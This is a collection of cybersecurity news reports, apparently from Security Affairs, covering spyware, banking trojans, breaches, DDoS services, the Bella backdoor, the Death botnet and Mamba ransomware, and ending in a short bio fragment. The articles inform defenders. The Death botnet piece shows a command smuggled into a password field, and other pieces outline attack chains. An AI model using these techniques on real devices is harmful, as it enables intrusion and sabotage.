6962_74670 | A few days ago, the security researcher Lukas Stefanko from ESET discovered an open repository containing some Android applications., , , The folder was found on a compromised website at the following URL:, hxxp://chatsecurelite.uk.to, This website is written in Arabic language and translating its content it seems to offer a secure messaging app. The homepage shows how the application works and includes some slides about it., Security researchers from CSE Cybsec Z-Lab analyzed the content of the folder and discovered an Android spyware that was developed to exfiltrate sensitive information from victims’ devices., The malicious code was used to compromise entities in the area, the researchers discovered that it was part or the arsenal of a APT group tracked as APT-C-27, aka Golden Rat Organization., The APT-C-27 group focused its activity in Syria in the last couple of years, it used both Windows and Android malware to compromise target devices. Its code was not so sophisticated, anyway, the activity of the group is still ongoing., Searching online we have found only one team of researchers that tracked the activity of the APT-C-27 group in Syria since 2016, it was a group of researchers at 360 Threat Intelligence Center., The analysis published by the team revealed the activity of the APT-C-27 in Syria, the code analyzed by malware analysts at Zlab at CSE Cybsec and the one dissected by 360 Threat Intelligence Center is quite identical., The 360 Threat Intelligence Center is dated 2017, the experts at CSE Cybsec collected evidence that the cyber espionage is still ongoing and that the threat actor continues to improve its malicious code., Further details on the malware samples analyzed by CSE Cybsec, including the IoCs and Yara Rules are available in the report published by researchers at ZLAb., You can download the full ZLAB Malware Analysis Report at the following URL:, , , Pierluigi Paganini, (Security Affairs – APT-C-27, Syria) |
1325_26545 | The source code for Tinba banking trojan, aka Tinybanker, has been leaked in the cybercrime ecosystem, the malware is recognized as the smallest banking malicious code in the wild and it is available on an underground forum., The release of source code in the underground represents a significant milestone in the story of a malware, starting from this event many cyber criminal gangs and authors of malware propose their customized versions or offer the personalization of the code according the requirements provided by others criminal gangs., In many cases groups of criminals start to provide all the necessary support to conduct cyber attacks based on a specific malware, this model of sale is commonly identified as malware-as-a-service., In the past something of similar was observed with many other banking malware like Carberp and Zeus. In the case of Zeus banking trojan, just after its public disclosure many variants were identified in the wild, including P2P Zeus and Tor based Zeus Variant., Security experts at CSIS Security Group are confident that the source code disclosed is related to a variety of Timba, the popular banking malware in circulation since 2012, which was privately sold version of the crimeware kit., Researchers at Danish CSIS were the first to identify Tinba, after analyzing the files, CSIS experts determined that the source code was related to version one of the malicious code, which they believe likely was sold on the black market and later modified by other cyber criminals., “So, our research on this malware and the group behind it proves to have been correct. Sometimes around 2012, the Tinba version 1 source code was taken over by new criminals and it is precisely the version 1 source code which has now been made available to the public and not the code being used in current and ongoing attacks. The Tinba leaked source code comes with a complete documentation and full source code. It is nicely structured and our initial analysis proves that the code works smoothly and compiles just fine.” reports a blog post published by CSIS., , Tinba is a small data stealing Trojan-banker, as many other banking trojans it implements Man in the Browser (MiTB) technique to inject code into victims’ browsers to change the content of certain Web pages. Tinba has data stealing capabilities and is also able to sniff network traffic., “Its purpose is to circumvent Two Factor Authentication (2FA) or to trick the infected user into providing additional sensitive data such as credit card data.” reports a joint study of CSIS and Trend Micro conducted on Tinba., The blog post explains that Tinba second iteration, differently from version one, was improved to be sold as a crime-as-a-service inside closed criminal communities., “The second version, which also includes a lot of changes to the panel/interface, appears to be sold as a crime as a service but only through closed channels. The second version indicates that the code was indeed sold in 2012 and then reworked by other it-criminals,” reports the blog post., No doubts, the release of Tinba source code will allows malware creators to improve its source code … banking customers are advised., Pierluigi Paganini, Security Affairs – (Tinba, banking malware) |
942_21165 | Again Syrian Electronic Army, the popular group of Hackers this time hacked the Microsoft News Twitter account — @MSFTNews. The Syrian Electronic Army (SEA) has compromised early 2014 the Skype‘s Twitter account and blog to protest against the support provided to the NSA surveillance program., Microsoft has immediately removed the tweets, it took about an hour to delete the evidences of the attack, but Syrian Electronic Army in that interval of time tweeted a series of messages that is possible to read in the below snapshots., , , The first message was a retweet from the SEA official account used in the last attack against Skype @Official_SEA16:, “Don’t use Microsoft emails (hotmail,outlook), They are monitoring your accounts and selling the data to the governments.”, The same message was also sent with the hacked @MSFTNews account, meanwhile a successive tweet show the message, “Syrian Electronic Army was here”., In time I’m writing, there are no news on how the hackers have compromised the Microsoft account, also for the cause of Skype hijack is still a mystery, but it is likely that attackers have attacked a user allowed to manage the hacked accounts (e.g. via Spear Phishing attack or using any other form of social engineering), The hack of an official account of a big Enterprise or Media Agency could have serious repercussion, the attacker could use it to make propaganda or worst to spread links to compromised server used to serve a malware., The attack occurred to Associated Press demonstrated the disastrous effect of misinformation, also is made for a limited interval of time., Pierluigi Paganini, (Security Affairs – Syrian Electronic Army, hacking) |
4238_51177 | Crooks are using Google Drive to host a new Facebook Hacker Tools that allows attackers to steal credentials from potential hackers who try to hack other users’ accounts on the Facebook social network., “When they deploy this CaaS service, it becomes very easy for users to conduct cyberattacks,” said BCECTL director Aditya Sood., The way the Facebook Hacker Tools work is very simple, typically they will ask the wannabe hacker that uses the tool to provide the Facebook profile ID of his victim. Then it displays some fake error messages and asks the user to provide an activation code to hack into the profile., “It’s hard to list the numbers, but we have discovered multiple instances seven-plus on Google Drive at the moment,” Sood said. “We haven’t checked on other cloud services or standard domains.” added Sood., Hackers abuse the web publishing functionality included in cloud services like Google Drive. One of the tools used by the crooks allows an attacker to send to the wannabe hacker a Google Drive link that takes them to a “Facebook Friend’s Account Hacker” document. Of course, the wannabe hacker that intends to hack his friend’s account needs to provide his Facebook login credentials., , Once the wannabe hacker has provided his credentials they are sent back to the operator behind the scam., Stolen credentials could be offered for sale in the underground market or used for a wide range of illegal activities., Such kind of attacks is particularly insidious for enterprise, the credentials of their employees could be exposed allowing attackers to access company resources. Attackers can target business users stealing their credentials and launch more sophisticated attacks in the future., Let’s think for example of the possibility to steal login credentials of an employee that works as system administrators or that manage sensitive financial data of the company., A growing number of companies are passing to cloud services, for this reason, it is essential to carefully evaluate the risks of exposure to such kind of attack linked to the use of social media., “We are living in a world where these social networks have become part and parcel of our lives,” Sood explained. “Cybercriminals can abuse this information and other tools, and sell that access to users.”, In order to prevent such kind of attacks, it is essential to adopt a proper security posture promoting awareness inside the companies., It is important to educate employees in a correct and safe use of social media even in the workspace., Another important aspect to consider is the incident response, one such kind of attacks against an employee is discovered., The adoption of cloud security solution could also help to mitigate the risk of attacks., Pierluigi Paganini, (Security Affairs – Facebook hacker tools, cybercrime) |
829_19623 | The banking is one of the most targeted sector by cybercrime that exploit always new vector to infect a customer’s machine of the clients of banks., I decided to write this post to alert banks’ customers and to avoid large scale infection, the malicious campaign is started in Brazil where many clients of financial institutions have received via mail an .rtf file that hide an ugly surprise., Kaspersky security experts have spotted a spam mail campaign against the customers of Brazilian banks characterized by an interesting trick to infect recipients., Almost every malicious spam campaign that targeted in the past banking institutions carried executable file masquerades as a pdf file or exploited known vulnerabilities in the browser with specifically crafted file., The campaign that targeted Brazilian users carries “Comprovante_Internet_Banking.rtf”(“Receipt from Internet Banking.rtf) file as attachment, when the victim opens the RTF file, the document shows an image thumbnail with a message, “Click to see in a larger size”., Clicking an image thumbnail in a rtf file user will be presented with a message saying a CPL file is about to be executed, in reality it is the malware Trojan.Win32.ChePro detected by the Kaspersky experts., , The banking malware that hit Brazilian banks seems to have Indian origin, the choice of .RTF file format as the attack is not casual, it allows to embed a file objects, including executable file. The cybercriminals behind the spam campaign against Brazilian banking have exploited this feature to embed the malware file in the document.Why Brazil?
, Brazil is the biggest country in Latin America with a population of approximately 200 million people and a high Internet penetration, Mobile penetration is upward of 132% (2012) and still growing by about 7% annually., “Brazil’s highly stratified social structure often means that those on a low income are drawn into illegal activity, including writing malicious programs designed to steal data belonging to bank customers. The fact that online banking systems are widely used in Brazil makes this type of criminal activity all the more attractive. Additionally, the country does not have legislation which effectively combats cybercrime., Between them, Brazil’s biggest banks have millions of online banking customers. For instance, Banco do Brasil has 7.9 million online customers, Bradesco has 6.9 million, Itaú has 4.2 million and Caixa has 3.69 million. These numbers are high enough to motivate the criminals: even if the percentage of successful attacks is small, the profits can still be impressive.” stated an old, but actually, report of Kaspersky.
, Banking users … You are advised!, Pierluigi Paganini, (Security Affairs – Banking, malware) |
1967_33916 | DDoS attacks are even more dangerous for every organization that exposes its resources and services on the Internet, recent attacks against Sony PSN network and XBox live service demonstrate it., DDoS attacks despite could cause serious damages to victims are quite easy and cheap to run, according to the latest Verisign’s Distributed Denial of Service Trends report an attack can cost between $5 (USD) per hour or as low as $2 (USD) an hour., , In the underground it is quite easy to hire hackers to run DDoS attacks, massive and longstanding attacks can be run for as little as $800 a month causing serious problems to the target., “Since their inception in 2010, DDoS-for-hire capabilities have advanced in success, services and popularity, but what’s most unnerving is booters have been remarkably skilled at working under the radar,” according to the Verisign’s Distributed Denial of Service Trends report., The experts noticed a significant increase in the number of attacks against specific sectors, Public–Sector organizations and Financial Services above all., , “Given the ready availability of DDoS-as-a-service offerings and the increasing affordability of such services, organizations of all sizes and industries are at a greater risk than ever of falling victim to a DDoS attack that can cripple network availability and productivity.”, The report highlights that bad actors that propose hit and run DDoS attacks use different public channels to propose themselves and their services., The document explicitly refers the operators of the Gwapo DDoS service, which used YouTube and posted videos that featured actors reading a script explaining the DDoS service the way to contact the operators via email and hire them. In this specific case, the cost of DDoS attacks ranged from $2 per hour for one to four hours to $1,000 for a month-long attack, the report notes., Recent analysis observed a dramatic increase of so-called hit and run attacks, a series of short bursts of high volume attacks, having a limited duration, and are arranged periodically., Hit and Run DDoS attacks are in nature “on demand attack“, the attackers limit the duration of the offensives to avoid the intervention of defense mechanisms, the typical DDoS defense solution works well for long DDoS attack, but their response time is too long to face with short DDoS., “One of the more high-profile advertising efforts for a DDoS service in 2014 came from the DDoS group Lizard Squad,” according to the Verisign’s Distributed Denial of Service Trends report. “Since August 2014, the group has claimed responsibility for attacks against multiple online gaming services, including those for Sony Corp.’s PlayStation Network (PSN) and Microsoft Inc.’s Xbox Live. PSN and Xbox Live were both taken offline for significant amounts of time by DDoS attacks on Dec. 25, 2014. Following the successful Christmas attacks, Lizard Squad began advertising the operation of its very own LizardStresser DDoS service, which costs from $5.99 to $119.99 USD per month to employ.”, DDoS attacks represent a serious threat to SMBs and enterprises working in every industry, despite the information technology and cloud are privileged targets., “DoS attacks are a global threat and not limited to any specific industry vertical, but the information technology and cloud verticals are prime targets because these services are used by multiple customers across both the private and public sectors,” said Ramakant Pandrangi, the vice president of technology at Verisign. “That makes it appealing to cybercriminals.”, The report revealed a sustained volumetric DDoS activity, with attacks reaching 60 Gbps/16 Millions of packets per second (Mpps) for User Datagram Protocol (UDP) floods and 55 Gbps/60 Mpps for Transmission Control Protocol (TCP)-based attacks in the Q4 2014., “During Q4 2014, Verisign’s IT/Cloud Services/SaaS customers experienced the largest volume of attacks, representing one third of all attacks and peaking in size at just over 60 Gbps for more than 24 hours,” , UDP amplification attacks leveraging the Network Time Protocol (NTP) were most dangerous DDoS attacks., “NTP is a UDP-based protocol used to synchronize clocks over a computer network,” explained Pandrangi. “Any UDP-based service including DNS, SNMP, NTP, chargen, and RADIUS is a potential vector for DDoS attacks because the protocol is connectionless and source IP addresses can be spoofed by attackers who have control of compromised or ‘botted’ hosts residing on networks which have not implemented basic anti-spoofing measures. Many organizations do not use or trust external systems for their NTP, so in this case the solution can be as easy as restricting or rate-limiting NTP ports inbound and outbound to only authenticated, known hosts.”, Enjoy the report!, (Security Affairs – DDoS attacks, cybercrime) |
3843_48085 | Another day another data breach, this time 100 million login credentials belonging to the users of the Russian social networking platform VK.com (VKontakte) are available for sale. Some experts estimate that the number of hacked records could be higher, reaching 170 million accounts., VK.com is the Russian version of the most popular Facebook, it was created by Pavel Durov, who later left the company to launch the messaging app Telegram. It has been estimated that VK had 100 million users in 2014., The popular social network was breached by hackers who offered 100 million records for a US$580, of course, the payment is in Bitcoins., LeakedSource accredits a hacker that called itself “Tessa88” as the seller, the archive is available on The Real Deal black market., The vast majority of email addresses use Russian services, the “@mail.ru” domain accounts for 41,132,524 followed by @yandex.ru (11,604,169) and @rambler.ru (7,416,993)., Data related to the data breach were analyzed by LeakedSource which received portions of the breached database. The leaked database contains at least 100 million records of VK.com users, each record includes name, user login, and phone number., “VK.com was hacked. LeakedSource has obtained and added a copy of this data to its ever-growing searchable repository of leaked data. This database was provided to us by a user who goes by the alias “[email protected]”, and has given us permission to name them in this blog.” reported LeakedSource “This data set contains 100,544,934 records. Each record may contain an email address, a first and last name, a location (usually city), a phone number, a visible password, and sometimes a second email address. “, The same data were provided to MotherBoard by the hackers known as Peace, the same that offered for sale the databases of LinkedIn and MySpace., “Peace provided Motherboard with a dataset containing a total of 100,544,934 records, and LeakedSource provided a smaller sample for verification purposes. The data contains first and last names, email address, phone numbers and passwords.” states Joseph Cox from MotherBoard., According to Peace, the passwords were not encrypted when VK.com was breached, the login credentials appear to have stolen in in 2012 or 2013., It is clear that the availability of so large archive allows hackers to target other platforms searching for users that share same credentials among multiple web services., Let me close with a rapid mention to the most popular passwords in the dataset analyzed by LeakedSource, I share with you a portion of the table published on its web site., The password “123456” is the most popular with 709,067 instances, followed by “123456789” and “qwerty,” this is the evidence that users still have no idea of the risks related to the use of weak passwords., , Pierluigi Paganini, (Security Affairs – VK.com, data breach) |
6011_66172 | Clarkson confirmed the hackers may release some of the stolen data, it hasn’t provided further details due to the ongoing law enforcement investigation., The information disclosed by the company suggests cyber criminals blackmailed the company requesting the payment of a ransom in order to avoid having its data leaked online., According to Clarkson, the hackers compromised a single user account to access the systems of the shipping giant., “Clarkson PLC confirms that it was subject to a cybersecurity incident which involved unauthorised access to the Company’s computer systems.” Clarkson said in a statement. , “Our initial investigations have shown the unauthorised access was gained via a single and isolated user account which has now been disabled.”, The company has disabled the account after the incident and has started notifying affected customers and individuals., The company had been expecting the cyber criminals to publish part of the stolen data on Tuesday, but nothing is still happening., , The company said it has been conducting a review of the security of its architecture and announced new IT security measures., “As you would rightly expect, we’re working closely with specialist police teams and data security experts to do all we can to best understand the incident and what we can do to protect our clients now and in the future,” said Andi Case, CEO of Clarkson. “We hope that, in time, we can share the lessons learned with our clients to help stop them from becoming victims themselves. In the meantime, I hope our clients understand that we would not be held to ransom by criminals, and I would like to sincerely apologise for any concern this incident may have understandably raised.”, Pierluigi Paganini, (Security Affairs – Clarkson shipping, data breach) |
5164_58620 | Today the Malwarebytes malware researcher Adam Thomas has discovered found a variant of the OSX.Dok dropper works in a different way respect the first one and installs a different payload, dubbed Bella., “Adam Thomas, a Malwarebytes researcher, found a variant of the OSX.Dok dropper that behaves altogether differently and installs a completely different payload.” states the analysis published by Malwarebytes., The new Bella malware is delivered using the same technique of the DOK malware, it leverages a zipped app named Dokument.app masquerading as a document., , The malicious code is signed with the same digital certificate as the OSX.Dok dropper and it was first uploaded to VirusTotal around the same time., Apple now revoked the certificate in order to neutralize the threat., Bella, such as DOK, copies itself to /Users/Shared/AppStore.app, then it creates a window on top of all other windows, displaying a message claiming that a security problem has been detected in the operating system and an update is available, it requests victims to enter his password., Bella displays the fake “OS X Updates Available” window, covering the entire screen, then after a minute it simply closes and deletes itself., , Bella is an open-source backdoor that was developed by a coder that goes online with the GitHub handle “Noah.”, “Noah first joined GitHub back in 2015 but was not active there until August of 2016, when he began creating Python scripts to attack various macOS data, such as stealing iCloud authorization tokens, or password and credit card information from Chrome.” continues the analysis., “In February of this year, he published the code for Bella, a Python script with some frightening capabilities, including:, The Bella payload includes the capability to escalate to root privileges by exploiting flaws in the OS, this feature only works on macOS 10.12.1 and earlier, or phishing to obtain an admin credential., Bella is customizable with a script named BUILDER , below an example related to a Bella sample that is controlled by a C&C server with the following characteristics:, This above address is owned by a hosting company located in Moscow, Russia., The malware has also been set to install the script, database, and launch agent files in the following locations:, ~/Library/Containers/.bella/Bella
~/Library/Containers/.bella/bella.db
~/Library/LaunchAgents/com.apple.iTunes.plist, If the malware gains the root access, it will be placed in the corresponding locations in the root library folder, rather than the user’s library folder., Experts speculate the Bella backdoor will be used by other threat actors in the future due to a modular structure., “Of course, since the code signing certificate on the Dokument.app dropper for this malware has been revoked, no one can be newly-infected by this particular variant of this malware at this point. However, since Bella is open-source and surprisingly powerful for a Python script, it’s quite likely it will be dropped by other malicious installers in the future.” concluded MalwareBytes., Pierluigi Paganini, (Security Affairs – DOK malware, Bella backdoor) |
6972_74744 | A new botnet, tracked as ‘Death botnet,’ has appeared in the threat landscape, its author that goes online with the moniker EliteLands is gathering unpatched AVTech devices in the malicious infrastructure., AVTech is one of the world’s leading CCTV manufacturers, it is the largest public-listed company in the Taiwan surveillance industry., EliteLands is using a 2-years old exploit that could be used to trigger tens of well-known vulnerabilities in the AVTech firmware. Many products of the vendor currently run the vulnerable firmware, including DVRs, NVRs, and IP cameras., The security expert Ankit Anubhav who discovered the Death botnet revealed that outdated firmware versions expose the passwords of the AVTech device in cleartext. The flaw could be exploited by an unauthenticated attacker to add users to existing devices., Ankit Anubhav told Bleeping Computer that EliteLands is exploiting the issues to add new users to AVTech devices., The expert explained that older firmware is vulnerable to a command injection vulnerability for the password field, this means that the attacker can provide a shell command in this field to get it executed and take over the devices., “So, if I put reboot as password, the AVTech system gets rebooted,” Anubhav explained. “Of course, the Death botnet is doing much more than just rebooting.”, AVTech rolled out security updates for the flaw at the beginning of 2017, but evidently many devices are still running old firmware. Recently, another botnet, the Hide ‘N Seek (HNS) botnet, started leveraging the same issue ((new) AVTECH RCE) to target IoT devices., At the end of June, AVTech published a security alert regarding the attacks exploiting the above flaw., Anubhav confirmed that EliteLands gathering devices for his Death botnet by targeting exposed devices with different payloads for the password field., The latest version of payload used by EliteLands is adding accounts with a lifespan of five minutes that execute his payload and then is deleted from the device., “This is like a burner account,” Anubhav told Bleeping Computer. “Usually people don’t make new user accounts with access of only 5 minutes.”, Anubhav has already identified over 1,200 AVTech devices that are potentially at risk., Anubhav contacted the EliteLands who confirmed that he plans to use the Death botnet in massive attacks., “The Death botnet has not attacked anything major yet but I know it will,” EliteLands said. “The Death botnet purpose was orginally just to ddos but I have a greater plan on it soon. I dont really use it for attacks only to get customers aware of the power it has.”, Stay tuned., Pierluigi Paganini, (Security Affairs – Death botnet, hacking) |
3901_48561 | Recently we have reported the first results of the “Hack the Pentagon” program that allowed the discovery of numerous flaws in the computers of the US Government. News of the day is that the high school student David Dworken from Washington DC has hacked into Pentagon computer systems. Dworken revealed to have spent 10-15 hours a day attempting to hack the US Defense Department websites, and he succeeded!, , Dworken has discovered six vulnerabilities in the US military’s website between classes at the Maret High School., In response, the Pentagon thanked the young expert and offered him internships. Dworken was one of two people (the second one is Craig Arendt, a security consultant at Stratum Security) praised by the Secretary of Defense Ash Carter for finding the security issued in the Pentagon systems and now he has been approached by Government recruiters to discuss internships., Carter praised the work of ethical hackers explaining the importance of their role in the protection national infrastructure., “We know that state-sponsored actors and black-hat hackers want to challenge and exploit our networks … what we didn’t fully appreciate before this pilot was how many white hat hackers there are who want to make a difference,” he explained. , The US Government is encouraging white hat hackers in testing government networks under “controlled” programs such has Hack the Pentagon., In some cases, the hackers have been rewarded up to $US15,000 for disclosures of the worst vulnerabilities, but Dworken did not receive any money because the bugs he has found were already known to the US authorities. He says he will now study computer science at university after turning down internships., Dworken confirmed his intention of studying computer science at university after turning down internships., Pierluigi Paganini, Security Affairs – (US Government, hacking) |
5567_61837 | Mamba ransomware is one of the first malware that encrypted hard drives rather than files that was detected in public attacks., Mamba leverages a disk-level encryption strategy instead of the conventional file-based one., A similar Ransomware, called Petya, made the headlines for the recent massive attack and its disk encryption strategy. The first sample of Mamba Ransomware discovered in the wild were using a full disk encryption open source tool called DiskCryptor to strongly encrypt the data., Mamba mostly targeted organizations in Brazil, it was also used by crooks in the attack against the San Francisco Municipal Transportation Agency occurred in November., Researchers at Kaspersky Lab discovered a new wave of attack leveraging the Mamba ransomware that hit organizations in Brazil and Saudi Arabia., Like the NotPetya massive attack, also Mamba appears to have been designed for sabotage, it is unclear if the malware was developed by crooks or by a nation-state actor., Unlike the NotPetya attacks, it is not excluded that Mamba victims could decrypt their data., “Authors of wiper malware are not able to decrypt victims’ machines. For example, if you remember the ExPetr malware, it uses a randomly generated key to encrypt a victim machine, but the trojan doesn’t save the key for further decryption,” said Kaspersky Lab researcher Orkhan Memedov. “So, we have a reason to call it ‘a wiper.’ However, in case of Mamba the key should be passed to the trojan as a command line argument, it means that the criminal knows this key and, in theory, the criminal is able to decrypt the machine.”, Mamba was first spotted on September 2016 when experts at Morphus Labs discovered the infection of machines belonging to an energy company in Brazil with subsidiaries in the United States and India., The researchers shared a detailed analysis on Security Affairs, they explained that once the malware has infected a Windows machine, it overwrites the existing Master Boot Record, with a custom MBR and encrypts the hard drive using the DiskCryptor tool., “Unfortunately there is no way to decrypt data that has been encrypted with the DiskCryptor utility, because this legitimate utility uses strong encryption algorithms,” explained Kaspersky Lab., The last samples of Mamba ransomware show an unusual ransom note that instead of demanding for money like the original Mamba, it provides two email addresses and an ID number to be used to recover the encryption key., , The threat actor behind the new wave of Mamba ransomware attacks leverages the PSEXEC utility to execute the malware on the corporate network once it has penetrated it. PSEXEC is the same tool used by NotPetya to spread within target networks., The attack chain described by Kaspersky has two phases, in the first one attackers drop the DiskCryptor tool into a new folder created by the malware. The persistence is obtained by registering a system service called DefragmentService, then the system is rebooted., The second phase sets up the new bootloader and encrypts disk partitions using DiskCryptor, then the machine is rebooted., “It is important to mention that for each machine in a victim’s network, the threat actor generates a password for the DiskCryptor utility,” Kaspersky Lab said in its report. “This password is passed via command line arguments to the ransomware dropper.”, Pierluigi Paganini, (Security Affairs – Mamba ransomware, malware) |
6046_66451 | He started a blog called: THE PURPLE HAT – Cyber Gangs NAKED, dedicated to exposing the methods and works of cybercrime gangs such as “CARBANAK” or similar sophisticated syndicated Cybercrime organizations., In the past. he worked as a web front-end programmer. Also, he is passionate about hardware, hacking, security and marketing., Pierluigi Paganini, (Security Affairs – NiceHash, hacking) |